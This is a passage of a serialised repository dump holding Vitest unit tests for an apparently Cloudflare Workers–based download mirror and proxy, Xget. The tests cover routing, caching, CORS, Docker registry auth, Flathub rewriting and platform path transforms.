    "content": "/**\n * Test setup and global configuration\n * Simplified version - only essential setup\n */\n\nimport { beforeAll } from 'vitest';\n\n/**\n * Global setup - runs once before all tests\n */\nbeforeAll(async () => {\n  // Verify Cloudflare Workers environment\n  if (typeof globalThis.fetch === 'undefined') {\n    throw new Error('fetch is not available in test environment');\n  }\n\n  // Verify required Web APIs\n  const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams'];\n\n  for (const global of requiredGlobals) {\n    // @ts-ignore - Dynamic global access for testing\n    if (typeof globalThis[global] === 'undefined') {\n      throw new Error(`Required global ${global} is not available`);\n    }\n  }\n\n  // Verify SELF is available for Cloudflare Workers testing\n  try {\n    const { SELF } = await import('cloudflare:test');\n    if (!SELF) {\n      throw new Error('SELF is not available');\n    }\n  } catch {\n    console.warn('Warning: Cloudflare Workers test environment not available');\n  }\n\n  // Setup performance API if not available\n  if (typeof performance === 'undefined') {\n    // @ts-ignore - Partial performance implementation for testing\n    globalThis.performance = {\n      now: () => Date.now()\n    };\n  }\n});\n"
  },
  {
    "path": "test/types.d.ts",
    "content": "/**\n * Type declarations for cloudflare:test module\n * Based on @cloudflare/vitest-pool-workers\n */\n\ndeclare module 'cloudflare:test' {\n  /**\n   * Service binding to the default export defined in the `main` worker\n   */\n  export const SELF: {\n    fetch(request: RequestInfo, init?: RequestInit): Promise<Response>;\n    fetch(url: string, init?: RequestInit): Promise<Response>;\n  };\n\n  /**\n   * Creates an instance of ExecutionContext for use in tests\n   */\n  export function createExecutionContext(): ExecutionContext;\n\n  /**\n   * Waits for all ExecutionContext.waitUntil() promises to settle\n   */\n  export function waitOnExecutionContext(ctx: ExecutionContext): Promise<void>;\n}\n"
  },
  {
    "path": "test/unit/app-structure.test.js",
    "content": "import { describe, expect, it } from 'vitest';\n\nimport apiHandler, { config as vercelConfig } from '../../adapters/functions/api/index.js';\nimport { handler as denoHandler } from '../../adapters/functions/deno.js';\nimport { onRequest } from '../../adapters/pages/functions/[[path]].js';\nimport { createRequestContext } from '../../src/app/request-context.js';\nimport { PLATFORM_CATALOG } from '../../src/config/platform-catalog.js';\nimport { normalizeEffectivePath, resolveTarget } from '../../src/routing/resolve-target.js';\n\ndescribe('Application structure', () => {\n  it('builds a shared request context for protocol-aware routing', () => {\n    const request = new Request('https://example.com/ip/openai/v1/chat/completions', {\n      method: 'OPTIONS',\n      headers: {\n        Origin: 'https://app.example.com',\n        'Access-Control-Request-Method': 'POST'\n      }\n    });\n\n    const context = createRequestContext(request, {\n      ALLOWED_METHODS: 'GET,HEAD,POST'\n    });\n\n    expect(context.isAI).toBe(true);\n    expect(context.isCorsPreflight).toBe(true);\n    expect(context.config.SECURITY.ALLOWED_METHODS).toContain('POST');\n  });\n\n  it('normalizes Docker host-style paths before resolving upstream targets', () => {\n    const url = new URL('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest');\n    const normalized = normalizeEffectivePath(url, true);\n\n    expect('effectivePath' in normalized).toBe(true);\n    if ('effectivePath' in normalized) {\n      expect(normalized.effectivePath).toBe('/cr/ghcr/v2/xixu-me/xget/manifests/latest');\n\n      const target = resolveTarget(url, normalized.effectivePath, PLATFORM_CATALOG);\n      expect('response' in target).toBe(false);\n      if (!('response' in target)) {\n        expect(target.platform).toBe('cr-ghcr');\n        expect(target.targetUrl).toBe('https://ghcr.io/v2/xixu-me/xget/manifests/latest');\n      }\n    }\n  });\n\n  it('exposes thin runtime adapter entrypoints', () => {\n    expect(typeof apiHandler).toBe('function');\n    expect(typeof denoHandler).toBe('function');\n    expect(typeof onRequest).toBe('function');\n    expect(vercelConfig).toEqual({ runtime: 'edge' });\n  });\n});\n"
  },
  {
    "path": "test/unit/cache-privacy.test.js",
    "content": "import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';\n\nimport worker from '../../src/index.js';\n\ndescribe('Cache Privacy', () => {\n  /** @type {{ match: ReturnType<typeof vi.fn>, put: ReturnType<typeof vi.fn> }} */\n  let cacheDefault;\n\n  /** @type {ReturnType<typeof vi.fn>} */\n  let fetchStub;\n\n  beforeEach(() => {\n    cacheDefault = {\n      match: vi.fn(async () => null),\n      put: vi.fn(async () => undefined)\n    };\n\n    vi.stubGlobal('caches', { default: cacheDefault });\n\n    fetchStub = vi.fn(async () => {\n      return new Response('ok', {\n        status: 200,\n        headers: {\n          'Content-Type': 'text/plain'\n        }\n      });\n    });\n    vi.stubGlobal('fetch', fetchStub);\n  });\n\n  afterEach(() => {\n    vi.unstubAllGlobals();\n    vi.restoreAllMocks();\n  });\n\n  it('should not use Cache API for requests with Authorization', async () => {\n    const request = new Request('https://example.com/gh/test/repo/file.txt', {\n      method: 'GET',\n      headers: {\n        Authorization: 'Bearer test-token'\n      }\n    });\n\n    const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };\n    const response = await worker.fetch(request, {}, ctx);\n\n    expect(response.status).toBe(200);\n    expect(cacheDefault.match).not.toHaveBeenCalled();\n    expect(cacheDefault.put).not.toHaveBeenCalled();\n    expect(response.headers.get('Cache-Control')).toBe('private, no-store');\n  });\n\n  it('should use Cache API for non-authenticated GET requests', async () => {\n    const request = new Request('https://example.com/gh/test/repo/file.txt', {\n      method: 'GET'\n    });\n\n    const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };\n    const response = await worker.fetch(request, {}, ctx);\n\n    expect(response.status).toBe(200);\n    expect(cacheDefault.match).toHaveBeenCalled();\n    expect(fetchStub).toHaveBeenCalled();\n    expect(response.headers.get('Cache-Control') || '').toContain('public');\n  });\n});\n"
  },
  {
    "path": "test/unit/cors-and-proxy-options.test.js",
    "content": "import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';\n\nimport worker from '../../src/index.js';\n\n/** @type {ExecutionContext} */\nconst executionContext = {\n  waitUntil() {},\n  passThroughOnException() {}\n};\n\ndescribe('CORS and Proxy Request Options', () => {\n  beforeEach(() => {\n    vi.stubGlobal('caches', {\n      default: {\n        match: vi.fn(async () => null),\n        put: vi.fn(async () => undefined)\n      }\n    });\n  });\n\n  afterEach(() => {\n    vi.unstubAllGlobals();\n    vi.restoreAllMocks();\n  });\n\n  it('does not send a synthetic Origin header upstream', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('ok', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/test/repo/index.html'),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);\n    expect(upstreamHeaders.has('Origin')).toBe(false);\n  });\n\n  it('does not enable Cloudflare minification for proxied responses', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('<html>ok</html>', {\n        status: 200,\n        headers: { 'Content-Type': 'text/html' }\n      })\n    );\n\n    await worker.fetch(\n      new Request('https://example.com/gh/test/repo/index.html'),\n      {},\n      executionContext\n    );\n\n    const fetchOptions = /** @type {RequestInit & { cf?: Record<string, unknown> }} */ (\n      fetchSpy.mock.calls[0][1] || {}\n    );\n\n    expect(fetchOptions.cf).toEqual(\n      expect.objectContaining({\n        http3: true,\n        cacheEverything: true,\n        preconnect: true\n      })\n    );\n    expect(fetchOptions.cf).not.toHaveProperty('minify');\n  });\n\n  it('responds to preflight requests for allowed origins', async () => {\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/test/repo', {\n        method: 'OPTIONS',\n        headers: {\n          Origin: 'https://app.example.com',\n          'Access-Control-Request-Method': 'GET',\n          'Access-Control-Request-Headers': 'X-Custom-Header'\n        }\n      }),\n      {\n        ALLOWED_ORIGINS: 'https://app.example.com'\n      },\n      executionContext\n    );\n\n    expect(response.status).toBe(204);\n    expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://app.example.com');\n    expect(response.headers.get('Access-Control-Allow-Methods')).toContain('GET');\n    expect(response.headers.get('Access-Control-Allow-Headers')).toBe('X-Custom-Header');\n  });\n\n  it('rejects preflight requests for disallowed origins', async () => {\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/test/repo', {\n        method: 'OPTIONS',\n        headers: {\n          Origin: 'https://evil.example.com',\n          'Access-Control-Request-Method': 'GET'\n        }\n      }),\n      {\n        ALLOWED_ORIGINS: 'https://app.example.com'\n      },\n      executionContext\n    );\n\n    expect(response.status).toBe(403);\n    expect(response.headers.get('Access-Control-Allow-Origin')).toBeNull();\n  });\n\n  it('adds CORS headers to normal responses for allowed origins', async () => {\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('ok', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/test/repo/file.txt', {\n        headers: {\n          Origin: 'https://app.example.com'\n        }\n      }),\n      {\n        ALLOWED_ORIGINS: 'https://app.example.com'\n      },\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://app.example.com');\n    expect(response.headers.get('Vary')).toContain('Origin');\n  });\n});\n"
  },
  {
    "path": "test/unit/docker-helpers.test.js",
    "content": "import { afterEach, describe, expect, it, vi } from 'vitest';\n\nimport { CONFIG } from '../../src/config/index.js';\nimport {\n  fetchToken,\n  getScopeFromUrl,\n  handleDockerAuth,\n  normalizeRegistryApiPath,\n  parseAuthenticate,\n  readRegistryTokenResponse\n} from '../../src/protocols/docker.js';\n\nafterEach(() => {\n  vi.restoreAllMocks();\n});\n\ndescribe('Docker helper coverage', () => {\n  it('throws on malformed authenticate headers', () => {\n    expect(() => parseAuthenticate('Bearer service=\"registry.docker.io\"')).toThrow(\n      /invalid WWW-Authenticate/\n    );\n  });\n\n  it('includes authorization when fetching registry tokens', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('{}', {\n        status: 200,\n        headers: { 'Content-Type': 'application/json' }\n      })\n    );\n\n    await fetchToken(\n      { realm: 'https://auth.example.com/token', service: 'registry.example.com' },\n      'repository:demo/app:pull',\n      'Bearer registry-secret'\n    );\n\n    const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);\n    expect(String(fetchSpy.mock.calls[0][0])).toContain('scope=repository%3Ademo%2Fapp%3Apull');\n    expect(upstreamHeaders.get('Authorization')).toBe('Bearer registry-secret');\n  });\n\n  it('reads both token formats and rejects malformed token payloads', async () => {\n    await expect(\n      readRegistryTokenResponse(\n        new Response(JSON.stringify({ token: 'abc123' }), {\n          status: 200,\n          headers: { 'Content-Type': 'application/json' }\n        })\n      )\n    ).resolves.toBe('abc123');\n\n    await expect(\n      readRegistryTokenResponse(\n        new Response(JSON.stringify({ access_token: 'def456' }), {\n          status: 200,\n          headers: { 'Content-Type': 'application/json' }\n        })\n      )\n    ).resolves.toBe('def456');\n\n    await expect(\n      readRegistryTokenResponse(\n        new Response(JSON.stringify('invalid-shape'), {\n          status: 200,\n          headers: { 'Content-Type': 'application/json' }\n        })\n      )\n    ).resolves.toBeNull();\n\n    await expect(\n      readRegistryTokenResponse(\n        new Response('{not-json', {\n          status: 200,\n          headers: { 'Content-Type': 'application/json' }\n        })\n      )\n    ).resolves.toBeNull();\n  });\n\n  it('derives catalog and empty scopes from registry paths', () => {\n    const catalogUrl = new URL('https://example.com/cr/ghcr/v2/_catalog');\n    const unsupportedUrl = new URL('https://example.com/cr/ghcr/v2');\n\n    expect(getScopeFromUrl(catalogUrl, catalogUrl.pathname, 'cr-ghcr')).toBe('registry:catalog:*');\n    expect(getScopeFromUrl(unsupportedUrl, unsupportedUrl.pathname, 'cr-ghcr')).toBe('');\n  });\n\n  it('leaves normalized registry paths untouched when no library prefix is needed', () => {\n    expect(normalizeRegistryApiPath('cr-ghcr', '/v2/org/app/manifests/latest')).toBe(\n      '/v2/org/app/manifests/latest'\n    );\n    expect(normalizeRegistryApiPath('cr-docker', '/v2/library/nginx/manifests/latest')).toBe(\n      '/v2/library/nginx/manifests/latest'\n    );\n    expect(normalizeRegistryApiPath('cr-docker', '/v2/_catalog')).toBe('/v2/_catalog');\n  });\n\n  it('returns a generic error for unsupported Docker auth scopes', async () => {\n    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n    const request = new Request(\n      'https://example.com/v2/auth?scope=repository:cr/unknown/private:pull'\n    );\n\n    const response = await handleDockerAuth(request, new URL(request.url), CONFIG);\n\n    expect(response.status).toBe(400);\n    expect(await response.text()).toBe('Invalid Docker authentication request');\n    expect(errorSpy).toHaveBeenCalledWith(\n      'Failed to resolve Docker auth target:',\n      expect.any(Error)\n    );\n  });\n\n  it('forwards upstream auth responses that are not challenges', async () => {\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('already-authorized', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');\n    const response = await handleDockerAuth(request, new URL(request.url), CONFIG);\n\n    expect(response.status).toBe(200);\n    expect(await response.text()).toBe('already-authorized');\n  });\n\n  it('forwards 401 responses without authenticate headers from the upstream root probe', async () => {\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('missing-authenticate', {\n        status: 401,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');\n    const response = await handleDockerAuth(request, new URL(request.url), CONFIG);\n\n    expect(response.status).toBe(401);\n    expect(await response.text()).toBe('missing-authenticate');\n  });\n});\n"
  },
  {
    "path": "test/unit/flathub-rewrite.test.js",
    "content": "import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';\n\nimport worker from '../../src/index.js';\n\n/** @type {ExecutionContext} */\nconst executionContext = {\n  waitUntil() {},\n  passThroughOnException() {}\n};\n\n/**\n * Reads a response body as UTF-8 text without relying on the response MIME type.\n * @param {Response} response\n * @returns {Promise<string>} Decoded UTF-8 response text.\n */\nasync function readUtf8Text(response) {\n  return new TextDecoder().decode(await response.arrayBuffer());\n}\n\ndescribe('Flathub Response Rewriting', () => {\n  beforeEach(() => {\n    vi.stubGlobal('caches', {\n      default: {\n        match: vi.fn(async () => null),\n        put: vi.fn(async () => undefined)\n      }\n    });\n  });\n\n  afterEach(() => {\n    vi.unstubAllGlobals();\n    vi.restoreAllMocks();\n  });\n\n  it('rewrites .flatpakrepo URLs to stay on the Xget mirror', async () => {\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response(\n        [\n          '[Flatpak Repo]',\n          'Url=https://dl.flathub.org/repo/',\n          'Icon=https://dl.flathub.org/repo/logo.svg',\n          'Homepage=https://flathub.org/'\n        ].join('\\n'),\n        {\n          status: 200,\n          headers: { 'Content-Type': 'application/octet-stream' }\n        }\n      )\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/flathub/repo/flathub.flatpakrepo'),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n\n    const body = await readUtf8Text(response);\n    expect(body).toContain('Url=https://example.com/flathub/repo/');\n    expect(body).toContain('Icon=https://example.com/flathub/repo/logo.svg');\n    expect(body).toContain('Homepage=https://flathub.org/');\n    expect(response.headers.get('Content-Length')).toBe(\n      String(new TextEncoder().encode(body).length)\n    );\n  });\n\n  it('rewrites .flatpakref URLs to stay on the Xget mirror', async () => {\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response(\n        [\n          '[Flatpak Ref]',\n          'Name=org.gnome.gedit',\n          'Url=https://dl.flathub.org/repo/',\n          'RuntimeRepo=https://dl.flathub.org/repo/flathub.flatpakrepo'\n        ].join('\\n'),\n        {\n          status: 200,\n          headers: { 'Content-Type': 'application/octet-stream' }\n        }\n      )\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/flathub/repo/appstream/org.gnome.gedit.flatpakref'),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n\n    const body = await readUtf8Text(response);\n    expect(body).toContain('Url=https://example.com/flathub/repo/');\n    expect(body).toContain('RuntimeRepo=https://example.com/flathub/repo/flathub.flatpakrepo');\n  });\n\n  it('uses host-scoped cache keys for rewritten Flathub descriptors', async () => {\n    const cacheEntries = new Map();\n\n    vi.stubGlobal('caches', {\n      default: {\n        match: vi.fn(async request => cacheEntries.get(request.url) || null),\n        put: vi.fn(async (request, response) => {\n          cacheEntries.set(request.url, response.clone());\n        })\n      }\n    });\n\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(\n      async () =>\n        new Response(`[Flatpak Repo]\\nUrl=https://dl.flathub.org/repo/`, {\n          status: 200,\n          headers: { 'Content-Type': 'application/octet-stream' }\n        })\n    );\n\n    const responseA = await worker.fetch(\n      new Request('https://mirror-a.example/flathub/repo/flathub.flatpakrepo'),\n      {},\n      executionContext\n    );\n    const responseB = await worker.fetch(\n      new Request('https://mirror-b.example/flathub/repo/flathub.flatpakrepo'),\n      {},\n      executionContext\n    );\n\n    expect(fetchSpy).toHaveBeenCalledTimes(2);\n    expect(await readUtf8Text(responseA)).toContain('Url=https://mirror-a.example/flathub/repo/');\n    expect(await readUtf8Text(responseB)).toContain('Url=https://mirror-b.example/flathub/repo/');\n  });\n\n  it('does not rewrite binary repository metadata like summary files', async () => {\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('summary-binary-payload', {\n        status: 200,\n        headers: { 'Content-Type': 'application/octet-stream' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/flathub/repo/summary'),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(await readUtf8Text(response)).toBe('summary-binary-payload');\n  });\n});\n"
  },
  {
    "path": "test/unit/package-manifest.test.js",
    "content": "import { createRequire } from 'node:module';\n\nimport { describe, expect, it } from 'vitest';\n\ndescribe('Package manifest', () => {\n  it('does not depend on itself', () => {\n    const require = createRequire(import.meta.url);\n    const packageJson = require('../../package.json');\n    const { dependencies } = packageJson;\n    const typedDependencies = /** @type {Record<string, string> | undefined} */ (dependencies);\n\n    expect(packageJson.name).toBe('xget');\n    expect(typedDependencies?.xget).toBeUndefined();\n  });\n});\n"
  },
  {
    "path": "test/unit/pipeline-modules.test.js",
    "content": "import { afterEach, describe, expect, it, vi } from 'vitest';\n\nimport { createRequestContext } from '../../src/app/request-context.js';\nimport { CONFIG } from '../../src/config/index.js';\nimport { finalizeResponse } from '../../src/response/finalize-response.js';\nimport { tryReadCachedResponse } from '../../src/upstream/cache.js';\nimport { fetchUpstreamResponse } from '../../src/upstream/fetch-upstream.js';\nimport { PerformanceMonitor } from '../../src/utils/performance.js';\n\nafterEach(() => {\n  vi.restoreAllMocks();\n});\n\ndescribe('Pipeline modules', () => {\n  it('reuses cached full content for range requests through the cache helper', async () => {\n    const cache = {\n      match: vi\n        .fn()\n        .mockResolvedValueOnce(null)\n        .mockResolvedValueOnce(\n          new Response('full-body', {\n            status: 200,\n            headers: { 'Content-Type': 'text/plain' }\n          })\n        )\n    };\n    const monitor = new PerformanceMonitor();\n    const markSpy = vi.spyOn(monitor, 'mark');\n    const request = new Request('https://example.com/gh/user/repo/file.txt', {\n      headers: { Range: 'bytes=0-3' }\n    });\n\n    const response = await tryReadCachedResponse({\n      cache: /** @type {Cache} */ (/** @type {unknown} */ (cache)),\n      cacheTargetUrl: 'https://github.com/user/repo/file.txt',\n      canUseCache: true,\n      hasSensitiveHeaders: false,\n      monitor,\n      request,\n      requestContext: createRequestContext(request, {})\n    });\n\n    expect(await response?.text()).toBe('full-body');\n    expect(markSpy).toHaveBeenCalledWith('cache_hit_full_content');\n  });\n\n  it('retries upstream fetches through the transport helper before succeeding', async () => {\n    const request = new Request('https://example.com/gh/user/repo/file.txt');\n    const requestContext = createRequestContext(request, {});\n    const fetchSpy = vi\n      .spyOn(globalThis, 'fetch')\n      .mockRejectedValueOnce(new Error('temporary-network-error'))\n      .mockResolvedValueOnce(\n        new Response('ok', {\n          status: 200,\n          headers: { 'Content-Type': 'text/plain' }\n        })\n      );\n\n    const result = await fetchUpstreamResponse({\n      authorization: null,\n      canUseCache: true,\n      config: { ...CONFIG, MAX_RETRIES: 2, RETRY_DELAY_MS: 0 },\n      effectivePath: '/gh/user/repo/file.txt',\n      monitor: new PerformanceMonitor(),\n      platform: 'gh',\n      request,\n      requestContext,\n      shouldPassthroughRequest: false,\n      targetUrl: 'https://github.com/user/repo/file.txt'\n    });\n\n    expect(result.responseGeneratedLocally).toBe(false);\n    expect(result.response.status).toBe(200);\n    expect(fetchSpy).toHaveBeenCalledTimes(2);\n  });\n\n  it('rewrites npm metadata and refreshes content length during response finalization', async () => {\n    const request = new Request('https://example.com/npm/pkg');\n    const requestContext = createRequestContext(request, {});\n    const upstreamBody = JSON.stringify({\n      dist: {\n        tarball: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz'\n      }\n    });\n\n    const response = await finalizeResponse({\n      cache: null,\n      cacheTargetUrl: 'https://registry.npmjs.org/pkg',\n      canUseCache: true,\n      config: CONFIG,\n      ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),\n      effectivePath: '/npm/pkg',\n      hasSensitiveHeaders: false,\n      monitor: new PerformanceMonitor(),\n      platform: 'npm',\n      request,\n      requestContext,\n      response: new Response(upstreamBody, {\n        status: 200,\n        headers: {\n          'Content-Type': 'application/json',\n          'Content-Length': String(upstreamBody.length)\n        }\n      }),\n      responseGeneratedLocally: false,\n      url: new URL(request.url)\n    });\n    const body = await response.text();\n\n    expect(body).toContain('https://example.com/npm/pkg/-/pkg-1.0.0.tgz');\n    expect(response.headers.get('Content-Length')).toBe(\n      String(new TextEncoder().encode(body).byteLength)\n    );\n  });\n});\n"
  },
  {
    "path": "test/unit/platform-boundaries.test.js",
    "content": "import { describe, expect, it } from 'vitest';\n\nimport { PLATFORM_CATALOG } from '../../src/config/platform-catalog.js';\nimport { PLATFORMS, SORTED_PLATFORMS, transformPath } from '../../src/config/platforms.js';\nimport { getPlatformPathPrefix } from '../../src/routing/platform-index.js';\nimport { transformPath as transformPlatformPath } from '../../src/routing/platform-transformers.js';\n\ndescribe('Platform module boundaries', () => {\n  it('keeps the compatibility export wired to the platform catalog', () => {\n    expect(PLATFORMS).toBe(PLATFORM_CATALOG);\n  });\n\n  it('sorts platform keys by the longest routable prefix first', () => {\n    const prefixLengths = SORTED_PLATFORMS.map(\n      platformKey => getPlatformPathPrefix(platformKey).length\n    );\n\n    prefixLengths.forEach((length, index) => {\n      if (index < prefixLengths.length - 1) {\n        expect(length).toBeGreaterThanOrEqual(prefixLengths[index + 1]);\n      }\n    });\n  });\n\n  it('routes legacy transform imports through the dedicated transformer module', () => {\n    expect(transformPath('/crates/?q=tokio', 'crates')).toBe(\n      transformPlatformPath('/crates/?q=tokio', 'crates')\n    );\n    expect(transformPath('/jenkins/test-path', 'jenkins')).toBe('/current/test-path');\n  });\n});\n"
  },
  {
    "path": "test/unit/platforms.test.js",
    "content": "import { describe, expect, it } from 'vitest';\nimport { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';\nimport { transformPath } from '../../src/routing/platform-transformers.js';\n\ndescribe('Platform Configuration', () => {\n  describe('Platform Definitions', () => {\n    it('should have all required platforms defined', () => {\n      const requiredPlatforms = [\n        'gh',\n        'gist',\n        'gl',\n        'sf',\n        'gitea',\n        'codeberg',\n        'hf',\n        'civitai',\n        'npm',\n        'pypi',\n        'conda',\n        'flathub',\n        'homebrew'\n      ];\n\n      requiredPlatforms.forEach(platform => {\n        expect(PLATFORMS).toHaveProperty(platform);\n        expect(PLATFORMS[platform]).toBeDefined();\n      });\n    });\n\n    it('should have valid base URLs for all platforms', () => {\n      Object.values(PLATFORMS).forEach(baseUrl => {\n        expect(baseUrl).toBeDefined();\n        expect(baseUrl).toMatch(/^https?:\\/\\/.+/);\n      });\n    });\n\n    it('should have unified transform function', () => {\n      expect(transformPath).toBeDefined();\n      expect(typeof transformPath).toBe('function');\n    });\n  });\n\n  describe('Unified Transform Function', () => {\n    it('should transform GitHub paths correctly', () => {\n      expect(transformPath('/gh/microsoft/vscode/archive/main.zip', 'gh')).toBe(\n        '/microsoft/vscode/archive/main.zip'\n      );\n\n      expect(transformPath('/gh/user/repo.git', 'gh')).toBe('/user/repo.git');\n    });\n\n    it('should transform GitHub Gist paths correctly', () => {\n      expect(transformPath('/gist/username/gist-id/raw/file.txt', 'gist')).toBe(\n        '/username/gist-id/raw/file.txt'\n      );\n\n      expect(transformPath('/gist/username/gist-id.git', 'gist')).toBe('/username/gist-id.git');\n    });\n\n    it('should transform GitLab paths correctly', () => {\n      expect(transformPath('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip', 'gl')).toBe(\n        '/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'\n      );\n    });\n\n    it('should transform SourceForge paths correctly', () => {\n      expect(\n        transformPath('/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download', 'sf')\n      ).toBe('/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download');\n    });\n\n    it('should transform Gitea paths correctly', () => {\n      expect(transformPath('/gitea/gitea/gitea/archive/master.zip', 'gitea')).toBe(\n        '/gitea/gitea/archive/master.zip'\n      );\n    });\n\n    it('should transform Codeberg paths correctly', () => {\n      expect(transformPath('/codeberg/forgejo/forgejo/archive/forgejo.zip', 'codeberg')).toBe(\n        '/forgejo/forgejo/archive/forgejo.zip'\n      );\n    });\n\n    it('should transform Hugging Face paths correctly', () => {\n      expect(transformPath('/hf/microsoft/DialoGPT-medium/resolve/main/config.json', 'hf')).toBe(\n        '/microsoft/DialoGPT-medium/resolve/main/config.json'\n      );\n\n      expect(transformPath('/hf/datasets/squad/resolve/main/train.json', 'hf')).toBe(\n        '/datasets/squad/resolve/main/train.json'\n      );\n    });\n\n    it('should transform Civitai paths correctly', () => {\n      expect(transformPath('/civitai/api/v1/models', 'civitai')).toBe('/api/v1/models');\n\n      expect(transformPath('/civitai/api/v1/model-versions/1318', 'civitai')).toBe(\n        '/api/v1/model-versions/1318'\n      );\n\n      expect(transformPath('/civitai/api/download/models/1105', 'civitai')).toBe(\n        '/api/download/models/1105'\n      );\n    });\n\n    it('should transform npm paths correctly', () => {\n      expect(transformPath('/npm/react/-/react-18.2.0.tgz', 'npm')).toBe(\n        '/react/-/react-18.2.0.tgz'\n      );\n      expect(transformPath('/npm/lodash', 'npm')).toBe('/lodash');\n    });\n\n    it('should transform PyPI paths correctly', () => {\n      expect(transformPath('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz', 'pypi')).toBe(\n        '/packages/source/r/requests/requests-2.31.0.tar.gz'\n      );\n\n      expect(transformPath('/pypi/simple/requests/', 'pypi')).toBe('/simple/requests/');\n    });\n\n    it('should transform PyPI files paths correctly', () => {\n      expect(\n        transformPath('/pypi/files/packages/source/r/requests/requests-2.31.0.tar.gz', 'pypi-files')\n      ).toBe('/packages/source/r/requests/requests-2.31.0.tar.gz');\n    });\n\n    it('should transform conda default channel paths correctly', () => {\n      expect(transformPath('/conda/pkgs/main/linux-64/numpy-1.24.3.conda', 'conda')).toBe(\n        '/pkgs/main/linux-64/numpy-1.24.3.conda'\n      );\n    });\n\n    it('should transform conda community channel paths correctly', () => {\n      expect(\n        transformPath('/conda/community/conda-forge/linux-64/repodata.json', 'conda-community')\n      ).toBe('/conda-forge/linux-64/repodata.json');\n    });\n\n    it('should transform Flathub paths correctly', () => {\n      expect(transformPath('/flathub/repo/summary', 'flathub')).toBe('/repo/summary');\n      expect(transformPath('/flathub/repo/flathub.flatpakrepo', 'flathub')).toBe(\n        '/repo/flathub.flatpakrepo'\n      );\n    });\n\n    it('should transform container registry paths correctly', () => {\n      expect(\n        transformPath('/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest', 'cr-ghcr')\n      ).toBe('/v2/nginxinc/nginx-unprivileged/manifests/latest');\n\n      expect(transformPath('/cr/gcr/v2/distroless/base/manifests/latest', 'cr-gcr')).toBe(\n        '/v2/distroless/base/manifests/latest'\n      );\n    });\n  });\n\n  describe('Platform Base URLs', () => {\n    it('should have correct GitHub base URL', () => {\n      expect(PLATFORMS.gh).toBe('https://github.com');\n    });\n\n    it('should have correct GitHub Gist base URL', () => {\n      expect(PLATFORMS.gist).toBe('https://gist.github.com');\n    });\n\n    it('should have correct GitLab base URL', () => {\n      expect(PLATFORMS.gl).toBe('https://gitlab.com');\n    });\n\n    it('should have correct SourceForge base URL', () => {\n      expect(PLATFORMS.sf).toBe('https://sourceforge.net');\n    });\n\n    it('should have correct Gitea base URL', () => {\n      expect(PLATFORMS.gitea).toBe('https://gitea.com');\n    });\n\n    it('should have correct Codeberg base URL', () => {\n      expect(PLATFORMS.codeberg).toBe('https://codeberg.org');\n    });\n\n    it('should have correct Hugging Face base URL', () => {\n      expect(PLATFORMS.hf).toBe('https://huggingface.co');\n    });\n\n    it('should have correct npm base URL', () => {\n      expect(PLATFORMS.npm).toBe('https://registry.npmjs.org');\n    });\n\n    it('should have correct PyPI base URL', () => {\n      expect(PLATFORMS.pypi).toBe('https://pypi.org');\n    });\n\n    it('should have correct PyPI files base URL', () => {\n      expect(PLATFORMS['pypi-files']).toBe('https://files.pythonhosted.org');\n    });\n\n    it('should have correct conda base URLs', () => {\n      expect(PLATFORMS.conda).toBe('https://repo.anaconda.com');\n      expect(PLATFORMS['conda-community']).toBe('https://conda.anaconda.org');\n    });\n\n    it('should have correct Flathub base URL', () => {\n      expect(PLATFORMS.flathub).toBe('https://dl.flathub.org');\n    });\n\n    it('should have correct container registry base URLs', () => {\n      